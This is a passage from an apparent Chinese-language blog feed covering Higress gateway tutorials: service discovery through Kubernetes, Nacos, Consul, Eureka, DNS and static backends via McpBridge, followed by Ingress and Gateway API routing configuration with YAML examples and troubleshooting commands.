&lt;td&gt;⭐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Nacos&lt;/td&gt;
&lt;td&gt;微服务（Spring Cloud/Alibaba）&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;⭐⭐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Consul&lt;/td&gt;
&lt;td&gt;多数据中心、服务网格&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;⭐⭐⭐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Eureka&lt;/td&gt;
&lt;td&gt;Spring Cloud Netflix&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;⭐⭐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DNS&lt;/td&gt;
&lt;td&gt;外部服务、云厂商 LB&lt;/td&gt;
&lt;td&gt;⚠️ 依赖 TTL&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;⭐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;静态&lt;/td&gt;
&lt;td&gt;固定 IP、测试环境&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;⭐&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;K8s Service（原生支持）&lt;/h2&gt;
&lt;h3&gt;自动发现&lt;/h3&gt;
&lt;p&gt;Higress 部署在 K8s 中时，&lt;strong&gt;自动监听所有 Service 和 Endpoint&lt;/strong&gt;，无需额外配置。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 只需创建 Ingress 指向 Service
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: demo-ingress
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            pathType: Prefix
            backend:
              service:
                name: my-service      # K8s Service 名称
                port:
                  number: 8080
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;工作原理&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Higress Controller 监听 K8s API Server
   ↓
Service/Endpoint 变化 → 触发 reconcile
   ↓
转换为 Envoy Cluster + Endpoint 配置
   ↓
通过 xDS 推送到 Higress Gateway
   ↓
Envoy 动态加载（无需重启）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;跨命名空间服务&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 方式 1：在 Ingress 中指定完整服务名
backend:
  service:
    name: my-service.other-namespace.svc.cluster.local
    port:
      number: 8080

# 方式 2：用 higress.io/destination 注解
metadata:
  annotations:
    higress.io/destination: &quot;my-service.other-namespace.svc.cluster.local:8080&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Nacos 服务发现&lt;/h2&gt;
&lt;h3&gt;McpBridge 配置&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: networking.higress.io/v1
kind: McpBridge
metadata:
  name: nacos-bridge
  namespace: higress-system
spec:
  registries:
    - name: nacos-prod
      type: nacos
      nacosServer: nacos.nacos.svc.cluster.local:8848
      nacosNamespaceId: prod          # 命名空间 ID（留空为 public）
      nacosGroups:
        - DEFAULT_GROUP
        - ORDER_GROUP
      nacosTimeout: 3000              # 超时（毫秒）
      # 认证（Nacos 2.x 开启鉴权时需要）
      nacosUsername: nacos
      nacosPassword: nacos
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;路由到 Nacos 服务&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: order-route
  annotations:
    # 关键：指定服务来源为 Nacos
    higress.io/destination: &quot;order-service.DEFAULT-GROUP.public.nacos&quot;
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /order
            pathType: Prefix
            backend:
              resource:
                apiGroup: networking.higress.io
                kind: McpBridge
                name: nacos-bridge
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;destination 格式&lt;/strong&gt;：&lt;code&gt;{服务名}.{分组}.{命名空间}.nacos&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Nacos 健康检查&lt;/h3&gt;
&lt;p&gt;Higress 自动订阅 Nacos 服务列表，Nacos 负责健康检查：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;临时实例&lt;/strong&gt;：客户端心跳（默认 5s），15s 无心跳标记不健康，30s 剔除&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;持久实例&lt;/strong&gt;：服务端主动探测（TCP/HTTP/MySQL）&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Consul 服务发现&lt;/h2&gt;
&lt;h3&gt;McpBridge 配置&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: networking.higress.io/v1
kind: McpBridge
metadata:
  name: consul-bridge
  namespace: higress-system
spec:
  registries:
    - name: consul-prod
      type: consul
      consulServer: consul.consul.svc.cluster.local:8500
      consulDataCenter: dc1
      consulServiceTags:
        - production
        - v2
      consulToken: &quot;your-acl-token&quot;   # Consul ACL Token（可选）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;路由到 Consul 服务&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;metadata:
  annotations:
    higress.io/destination: &quot;payment-service.consul&quot;
spec:
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /payment
            backend:
              resource:
                apiGroup: networking.higress.io
                kind: McpBridge
                name: consul-bridge
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Eureka 服务发现&lt;/h2&gt;
&lt;h3&gt;McpBridge 配置&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: networking.higress.io/v1
kind: McpBridge
metadata:
  name: eureka-bridge
  namespace: higress-system
spec:
  registries:
    - name: eureka-prod
      type: eureka
      eurekaServer: http://eureka.eureka.svc.cluster.local:8761/eureka
      eurekaTimeout: 3000
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;路由到 Eureka 服务&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;metadata:
  annotations:
    higress.io/destination: &quot;user-service.eureka&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;DNS 服务发现&lt;/h2&gt;
&lt;h3&gt;适用场景&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;外部 SaaS API（&lt;code&gt;api.openai.com&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;云厂商负载均衡（ALB/SLB 域名）&lt;/li&gt;
&lt;li&gt;跨集群服务（通过 DNS 解析）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;McpBridge 配置&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: networking.higress.io/v1
kind: McpBridge
metadata:
  name: dns-bridge
  namespace: higress-system
spec:
  registries:
    - name: external-api
      type: dns
      domain: api.openai.com
      port: 443
      protocol: https
      dnsRefreshRate: 60              # DNS 刷新间隔（秒）
    
    - name: internal-lb
      type: dns
      domain: internal-lb.example.com
      port: 80
      protocol: http
      dnsRefreshRate: 30
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;路由到 DNS 服务&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;metadata:
  annotations:
    higress.io/destination: &quot;external-api.dns&quot;
spec:
  rules:
    - host: ai.example.com
      http:
        paths:
          - path: /v1/chat
            backend:
              resource:
                apiGroup: networking.higress.io
                kind: McpBridge
                name: dns-bridge
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;静态服务发现&lt;/h2&gt;
&lt;h3&gt;适用场景&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;固定 IP 的后端服务&lt;/li&gt;
&lt;li&gt;测试环境&lt;/li&gt;
&lt;li&gt;没有注册中心的遗留系统&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;McpBridge 配置&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: networking.higress.io/v1
kind: McpBridge
metadata:
  name: static-bridge
  namespace: higress-system
spec:
  registries:
    - name: legacy-service
      type: static
      staticServers:
        - address: 192.168.1.100:8080
          weight: 70
        - address: 192.168.1.101:8080
          weight: 30
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;路由到静态服务&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;metadata:
  annotations:
    higress.io/destination: &quot;legacy-service.static&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;多注册中心混合使用&lt;/h2&gt;
&lt;h3&gt;场景&lt;/h3&gt;
&lt;p&gt;企业同时存在：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;K8s 新应用（K8s Service）&lt;/li&gt;
&lt;li&gt;传统微服务（Nacos/Eureka）&lt;/li&gt;
&lt;li&gt;外部 SaaS（DNS）&lt;/li&gt;
&lt;li&gt;遗留系统（静态 IP）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;配置示例&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: networking.higress.io/v1
kind: McpBridge
metadata:
  name: multi-bridge
  namespace: higress-system
spec:
  registries:
    # Nacos 注册中心
    - name: nacos
      type: nacos
      nacosServer: nacos.nacos.svc.cluster.local:8848
      nacosGroups: [DEFAULT_GROUP]
    
    # Eureka 注册中心
    - name: eureka
      type: eureka
      eurekaServer: http://eureka:8761/eureka
    
    # DNS 外部服务
    - name: openai
      type: dns
      domain: api.openai.com
      port: 443
      protocol: https
    
    # 静态遗留服务
    - name: legacy
      type: static
      staticServers:
        - address: 10.0.0.100:8080
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;路由分发&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# K8s 服务（默认，无需 McpBridge）
- path: /api/k8s
  backend:
    service:
      name: k8s-service
      port: { number: 8080 }

# Nacos 服务
- path: /api/nacos
  annotations:
    higress.io/destination: &quot;nacos-service.DEFAULT-GROUP.public.nacos&quot;

# Eureka 服务
- path: /api/eureka
  annotations:
    higress.io/destination: &quot;eureka-service.eureka&quot;

# DNS 外部服务
- path: /api/openai
  annotations:
    higress.io/destination: &quot;openai.dns&quot;

# 静态服务
- path: /api/legacy
  annotations:
    higress.io/destination: &quot;legacy.static&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;服务发现健康检查&lt;/h2&gt;
&lt;h3&gt;健康检查机制&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;注册中心&lt;/th&gt;
&lt;th&gt;健康检查方式&lt;/th&gt;
&lt;th&gt;检查频率&lt;/th&gt;
&lt;th&gt;剔除策略&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;K8s&lt;/td&gt;
&lt;td&gt;Readiness Probe&lt;/td&gt;
&lt;td&gt;按 Pod 配置&lt;/td&gt;
&lt;td&gt;Endpoint 移除&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Nacos&lt;/td&gt;
&lt;td&gt;客户端心跳 / 服务端探测&lt;/td&gt;
&lt;td&gt;5s / 自定义&lt;/td&gt;
&lt;td&gt;15s 标记不健康，30s 剔除&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Consul&lt;/td&gt;
&lt;td&gt;TCP/HTTP/gRPC 探测&lt;/td&gt;
&lt;td&gt;10s（默认）&lt;/td&gt;
&lt;td&gt;3 次失败标记 critical&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Eureka&lt;/td&gt;
&lt;td&gt;客户端心跳&lt;/td&gt;
&lt;td&gt;30s&lt;/td&gt;
&lt;td&gt;90s 无心跳剔除&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DNS&lt;/td&gt;
&lt;td&gt;无（依赖 DNS 解析）&lt;/td&gt;
&lt;td&gt;TTL&lt;/td&gt;
&lt;td&gt;解析失败即剔除&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;静态&lt;/td&gt;
&lt;td&gt;Envoy 主动健康检查&lt;/td&gt;
&lt;td&gt;可配置&lt;/td&gt;
&lt;td&gt;可配置&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Envoy 主动健康检查（静态/DNS）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: networking.higress.io/v1
kind: McpBridge
metadata:
  name: static-with-health-check
  namespace: higress-system
spec:
  registries:
    - name: my-service
      type: static
      staticServers:
        - address: 10.0.0.100:8080
        - address: 10.0.0.101:8080
      # Higress 扩展：主动健康检查
      healthCheck:
        enabled: true
        interval: 5s
        timeout: 3s
        unhealthyThreshold: 3
        healthyThreshold: 2
        httpHealthCheck:
          path: /health
          expectedStatus: 200
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;常见问题&lt;/h2&gt;
&lt;h3&gt;Q1: Nacos 服务发现不生效&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 1. 检查 McpBridge 状态
kubectl get mcpbridge -n higress-system
kubectl describe mcpbridge nacos-bridge -n higress-system

# 2. 检查 Higress Controller 日志
kubectl logs -n higress-system deploy/higress-controller | grep nacos

# 3. 确认 Nacos 服务已注册
curl http://nacos-server:8848/nacos/v1/ns/instance/list?serviceName=order-service

# 4. 确认网络连通性
kubectl exec -n higress-system deploy/higress-controller -- \
  curl -v http://nacos-server:8848/nacos/
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q2: 服务实例上下线延迟&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 检查 xDS 推送延迟
kubectl logs -n higress-system deploy/higress-gateway | grep &quot;cds: update&quot;

# 调整 Nacos 订阅推送间隔（默认 10s）
# 在 McpBridge 中设置 nacosTimeout 更短

# 检查 Envoy Endpoint 状态
kubectl exec -n higress-system deploy/higress-gateway -- \
  curl -s localhost:15000/clusters | grep order-service
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q3: 跨命名空间服务无法访问&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 确认 RBAC 权限
kubectl auth can-i list services --all-namespaces \
  --as=system:serviceaccount:higress-system:higress-controller

# 确认 Service 存在
kubectl get svc my-service -n other-namespace

# 确认 Endpoint 正常
kubectl get endpoints my-service -n other-namespace
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;快速复习清单&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;6 种服务发现&lt;/strong&gt;：K8s Service（原生）、Nacos、Consul、Eureka、DNS、静态&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;K8s Service&lt;/strong&gt;：自动发现，无需配置，Ingress 直接指向 Service&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;McpBridge CRD&lt;/strong&gt;：统一配置非 K8s 服务来源&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Nacos destination 格式&lt;/strong&gt;：&lt;code&gt;{服务名}.{分组}.{命名空间}.nacos&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DNS 适用场景&lt;/strong&gt;：外部 SaaS、云厂商 LB、跨集群服务&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;静态适用场景&lt;/strong&gt;：固定 IP、测试环境、遗留系统&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;健康检查&lt;/strong&gt;：K8s（Readiness）、Nacos（心跳）、Consul（探测）、Envoy（主动检查）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;混合使用&lt;/strong&gt;：一个 McpBridge 可配置多个 registries&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/higress-roadmap-05-traffic-management/&quot;&gt;流量治理&lt;/a&gt; 将讲解限流、熔断、重试、超时、灰度发布、金丝雀、蓝绿部署等流量管理能力。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/posts/higress-roadmap-00-overview/&quot;&gt;Higress 学习路线总览&lt;/a&gt; | &lt;a href=&quot;/blog/higress-roadmap/&quot;&gt;合集页&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>Higress 路由配置</title><link>http://117.72.32.87/blog/posts/higress-roadmap-03-routing/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/higress-roadmap-03-routing/</guid><description>详解 Higress 路由配置：Ingress/Gateway API 标准、域名/路径/Header/Query 匹配规则、权重路由、路径改写、重定向、超时重试。</description><pubDate>Thu, 17 Sep 2026 03:30:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
路由是网关的核心能力。Higress 兼容 K8s Ingress 和 Gateway API 标准，同时提供丰富的扩展注解。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;路由配置方式对比&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;方式&lt;/th&gt;
&lt;th&gt;标准&lt;/th&gt;
&lt;th&gt;复杂度&lt;/th&gt;
&lt;th&gt;功能&lt;/th&gt;
&lt;th&gt;推荐场景&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Ingress&lt;/td&gt;
&lt;td&gt;K8s 原生&lt;/td&gt;
&lt;td&gt;⭐⭐&lt;/td&gt;
&lt;td&gt;基础路由 + 注解扩展&lt;/td&gt;
&lt;td&gt;兼容现有 Ingress&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Gateway API&lt;/td&gt;
&lt;td&gt;K8s 新一代&lt;/td&gt;
&lt;td&gt;⭐⭐⭐&lt;/td&gt;
&lt;td&gt;功能更强、角色分离&lt;/td&gt;
&lt;td&gt;新项目、复杂路由&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Higress Console&lt;/td&gt;
&lt;td&gt;Web UI&lt;/td&gt;
&lt;td&gt;⭐&lt;/td&gt;
&lt;td&gt;可视化配置&lt;/td&gt;
&lt;td&gt;快速上手、运维&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;方式一：Ingress 路由&lt;/h2&gt;
&lt;h3&gt;基础路由（域名 + 路径）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: demo-ingress
  namespace: default
  annotations:
    higress.io/destination: &quot;httpbin.default.svc.cluster.local:80&quot;
spec:
  ingressClassName: higress
  rules:
    - host: demo.example.com
      http:
        paths:
          - path: /api
            pathType: Prefix
            backend:
              service:
                name: httpbin
                port:
                  number: 80
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;测试&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -H &quot;Host: demo.example.com&quot; http://&amp;lt;gateway-ip&amp;gt;/api/get
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;路径匹配类型&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;pathType&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;th&gt;示例&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Exact&lt;/td&gt;
&lt;td&gt;精确匹配&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/api/v1/users&lt;/code&gt; 只匹配该路径&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Prefix&lt;/td&gt;
&lt;td&gt;前缀匹配&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/api&lt;/code&gt; 匹配 &lt;code&gt;/api&lt;/code&gt;、&lt;code&gt;/api/v1&lt;/code&gt;、&lt;code&gt;/api/v2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ImplementationSpecific&lt;/td&gt;
&lt;td&gt;实现相关&lt;/td&gt;
&lt;td&gt;Higress 支持正则（见下文）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;正则路径匹配（Higress 扩展）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;metadata:
  annotations:
    higress.io/use-regex: &quot;true&quot;
    higress.io/rewrite-target: /$1
spec:
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api/(.*)
            pathType: ImplementationSpecific
            backend:
              service:
                name: api-service
                port:
                  number: 8080
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/api/users&lt;/code&gt; → 转发到 &lt;code&gt;/users&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/api/orders/123&lt;/code&gt; → 转发到 &lt;code&gt;/orders/123&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Header 匹配&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;metadata:
  annotations:
    higress.io/header-match: &quot;X-Env:gray&quot;
spec:
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            pathType: Prefix
            backend:
              service:
                name: api-gray
                port:
                  number: 8080
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;：只有 &lt;code&gt;X-Env: gray&lt;/code&gt; 的请求才路由到 gray 服务。&lt;/p&gt;
&lt;h3&gt;Query 参数匹配&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;metadata:
  annotations:
    higress.io/query-match: &quot;version:v2&quot;
spec:
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            pathType: Prefix
            backend:
              service:
                name: api-v2
                port:
                  number: 8080
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;：&lt;code&gt;/api?version=v2&lt;/code&gt; 路由到 v2 服务。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;方式二：Gateway API 路由&lt;/h2&gt;
&lt;h3&gt;Gateway + HTTPRoute&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 1. 定义 Gateway（监听端口）
apiVersion: gateway.networking.k8s.io/v1
kind: Gateway
metadata:
  name: demo-gateway
  namespace: higress-system
spec:
  gatewayClassName: higress
  listeners:
    - name: http
      protocol: HTTP
      port: 80
      allowedRoutes:
        namespaces:
          from: All

---
# 2. 定义 HTTPRoute（路由规则）
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: demo-route
  namespace: default
spec:
  parentRefs:
    - name: demo-gateway
      namespace: higress-system
  hostnames:
    - &quot;api.example.com&quot;
  rules:
    - matches:
        - path:
            type: PathPrefix
            value: /api/v1
          headers:
            - name: X-Env
              value: prod
      filters:
        - type: RequestHeaderModifier
          requestHeaderModifier:
            add:
              - name: X-Routed-By
                value: higress
        - type: URLRewrite
          urlRewrite:
            path:
              type: ReplacePrefixMatch
              replacePrefixMatch: /v1
      backendRefs:
        - name: api-service
          port: 8080
          weight: 90
        - name: api-service-canary
          port: 8080
          weight: 10
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Gateway API 优势&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;角色分离：平台工程师管 Gateway，开发管 HTTPRoute&lt;/li&gt;
&lt;li&gt;功能更强：原生支持 Header/Query 匹配、权重、Filter&lt;/li&gt;
&lt;li&gt;标准化：K8s 官方推荐，未来替代 Ingress&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;高级路由功能&lt;/h2&gt;
&lt;h3&gt;权重路由（灰度发布）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;metadata:
  annotations:
    higress.io/canary: &quot;true&quot;
    higress.io/canary-weight: &quot;20&quot;
spec:
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            pathType: Prefix
            backend:
              service:
                name: api-canary
                port:
                  number: 8080
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;：20% 流量到 canary 服务，80% 到稳定服务。&lt;/p&gt;
&lt;h3&gt;路径改写&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;metadata:
  annotations:
    higress.io/rewrite-target: /v2/$1
spec:
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api/(.*)
            pathType: ImplementationSpecific
            backend:
              service:
                name: api-service
                port:
                  number: 8080
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;：&lt;code&gt;/api/users&lt;/code&gt; → 转发到 &lt;code&gt;/v2/users&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;重定向&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;metadata:
  annotations:
    higress.io/permanent-redirect: &quot;https://new.example.com$request_uri&quot;
spec:
  rules:
    - host: old.example.com
      http:
        paths:
          - path: /
            pathType: Prefix
            backend:
              service:
                name: placeholder
                port:
                  number: 80
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;：所有 &lt;code&gt;old.example.com&lt;/code&gt; 请求 301 重定向到 &lt;code&gt;new.example.com&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;超时配置&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;metadata:
  annotations:
    higress.io/upstream-vhost: &quot;api.example.com&quot;
    higress.io/request-timeout: &quot;30s&quot;
    higress.io/connect-timeout: &quot;5s&quot;
spec:
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            pathType: Prefix
            backend:
              service:
                name: api-service
                port:
                  number: 8080
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;重试策略&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;metadata:
  annotations:
    higress.io/retry-count: &quot;3&quot;
    higress.io/retry-timeout: &quot;10s&quot;
    higress.io/retry-on: &quot;5xx,reset,connect-failure&quot;
spec:
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            pathType: Prefix
            backend:
              service:
                name: api-service
                port:
                  number: 8080
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;重试条件&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;5xx&lt;/code&gt;：上游返回 5xx&lt;/li&gt;
&lt;li&gt;&lt;code&gt;reset&lt;/code&gt;：连接被重置&lt;/li&gt;
&lt;li&gt;&lt;code&gt;connect-failure&lt;/code&gt;：连接失败&lt;/li&gt;
&lt;li&gt;&lt;code&gt;retriable-4xx&lt;/code&gt;：可重试的 4xx（如 409）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;CORS 跨域&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;metadata:
  annotations:
    higress.io/enable-cors: &quot;true&quot;
    higress.io/cors-allow-origin: &quot;https://web.example.com&quot;
    higress.io/cors-allow-methods: &quot;GET,POST,PUT,DELETE&quot;
    higress.io/cors-allow-headers: &quot;Authorization,Content-Type&quot;
    higress.io/cors-max-age: &quot;86400&quot;
spec:
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            pathType: Prefix
            backend:
              service:
                name: api-service
                port:
                  number: 8080
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;路由优先级&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;匹配顺序（从高到低）：
1. 精确路径（Exact）
2. 最长前缀（Prefix，/api/v1 &amp;gt; /api）
3. 正则路径（ImplementationSpecific）
4. Header/Query 匹配（更具体的优先）
5. 权重路由（按比例分配）

示例：
/api/v1/users     → 匹配 /api/v1（最长前缀）
/api/v1           → 匹配 /api/v1
/api/v2/orders    → 匹配 /api（前缀）
/api              → 匹配 /api
/health           → 无匹配，返回 404
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;实战案例&lt;/h2&gt;
&lt;h3&gt;案例 1：多环境路由&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 开发环境
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: api-dev
  annotations:
    higress.io/header-match: &quot;X-Env:dev&quot;
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            pathType: Prefix
            backend:
              service:
                name: api-dev
                port:
                  number: 8080

---
# 生产环境
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: api-prod
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
